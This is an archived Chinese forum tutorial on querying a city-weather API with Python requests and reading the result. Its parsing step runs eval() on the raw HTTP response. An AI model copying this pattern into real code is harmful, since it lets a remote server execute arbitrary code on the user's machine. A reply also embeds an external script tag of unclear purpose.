猫史档案馆


【Requests】1.对接API&数据分析

用户:JackuXLJackuXL查看:0 回复:3 评论:0 创建时间:2020-04-16T14:38:54


以大米API中的城市天气查询(https://api.qqsuu.cn/html/doc-weather.html)为例。

import requests
#引用爬虫库
weather = requests.get('https://api.qqsuu.cn/api/weather?city=郑州')
#以”郑州“为例,获取城市天气
print(weather.text)
#打印结果

打印结果:(2020/4/16)

 {"data":{"yesterday":{"date":"15日星期三","high":"高温 28℃","fx":"南风","low":"低温 15℃","fl":"<![CDATA[3-4级]]>","type":"多云"},"city":"郑州","forecast":[{"date":"16日星期四","high":"高温 26℃","fengli":"<![CDATA[4-5级]]>","low":"低温 14℃","fengxiang":"西风","type":"多云"},{"date":"17日星期五","high":"高温 25℃","fengli":"<![CDATA[<3级]]>","low":"低温 11℃","fengxiang":"东风","type":"晴"},{"date":"18日星期六","high":"高温 19℃","fengli":"<![CDATA[<3级]]>","low":"低温 11℃","fengxiang":"西北风","type":"小雨"},{"date":"19日星期天","high":"高温 23℃","fengli":"<![CDATA[<3级]]>","low":"低温 14℃","fengxiang":"西风","type":"多云"},{"date":"20日星期一","high":"高温 20℃","fengli":"<![CDATA[3-4级]]>","low":"低温 11℃","fengxiang":"东北风","type":"小雨"}],"ganmao":"虽然温度适宜但风力较大,仍较易发生感冒,体质较弱的朋友请注意适当防护 
。","wendu":"24"},"status":1000,"desc":"OK"}

是一个字典套字典的形式,最外层字典的”data“为城市数据,直接取出即可: 

weather_data = eval(weather.text)['data']
#取出data的内容(eval:将字符串转字典)
print(weather_data)
#打印结果

打印结果:(2020/4/16)

{'yesterday': {'date': '15日星期三', 'high': '高温 28℃', 'fx': '南风', 'low': '低温 15℃', 'fl': '<![CDATA[3-4级]]>', 'type': '多云'}, 'city': '郑州', 'forecast': [{'date': '16日星期四', 'high': '高温 26℃', 'fengli': '<![CDATA[4-5级]]>', 'low': '低温 14℃', 'fengxiang': '西风', 'type': '多云'}, {'date': '17日星期五', 'high': '高温 25℃', 'fengli': '<![CDATA[<3级]]>', 'low': '低温 11℃', 'fengxiang': '东风', 'type': '晴'}, {'date': '18日星期六', 'high': '高温 19℃', 'fengli': '<![CDATA[<3级]]>', 'low': '低温 11℃', 'fengxiang': '西北风', 'type': '小雨'}, {'date': '19日星期天', 'high': '高温 23℃', 'fengli': '<![CDATA[<3级]]>', 'low': '低温 14℃', 'fengxiang': '西风
', 'type': '多云'}, {'date': '20日星期一', 'high': '高温 20℃', 'fengli': '<![CDATA[3-4级]]>', 'low': '低温 11℃', 'fengxiang': '东北风', 'type': '小雨'}], 'ganmao': ' 
虽然温度适宜但风力较大,仍较易发生感冒,体质较弱的朋友请注意适当防护。', 'wendu': '24'}

然后基本就分析完成了,若需取出项目按照标准的字典操作即可。


回复

上一页1 页 / 共 1下一页
JackuXLJackuXL

center_image

点赞0


评论


JackuXLJackuXL

<script src="//topurl.cn/chat.js" async="async" fold></script> 

点赞0


评论


kkk_AC工作室toby小号kkk_AC工作室toby小号

https://api.qqsuu.cn/html/doc-weather.html

点赞0


评论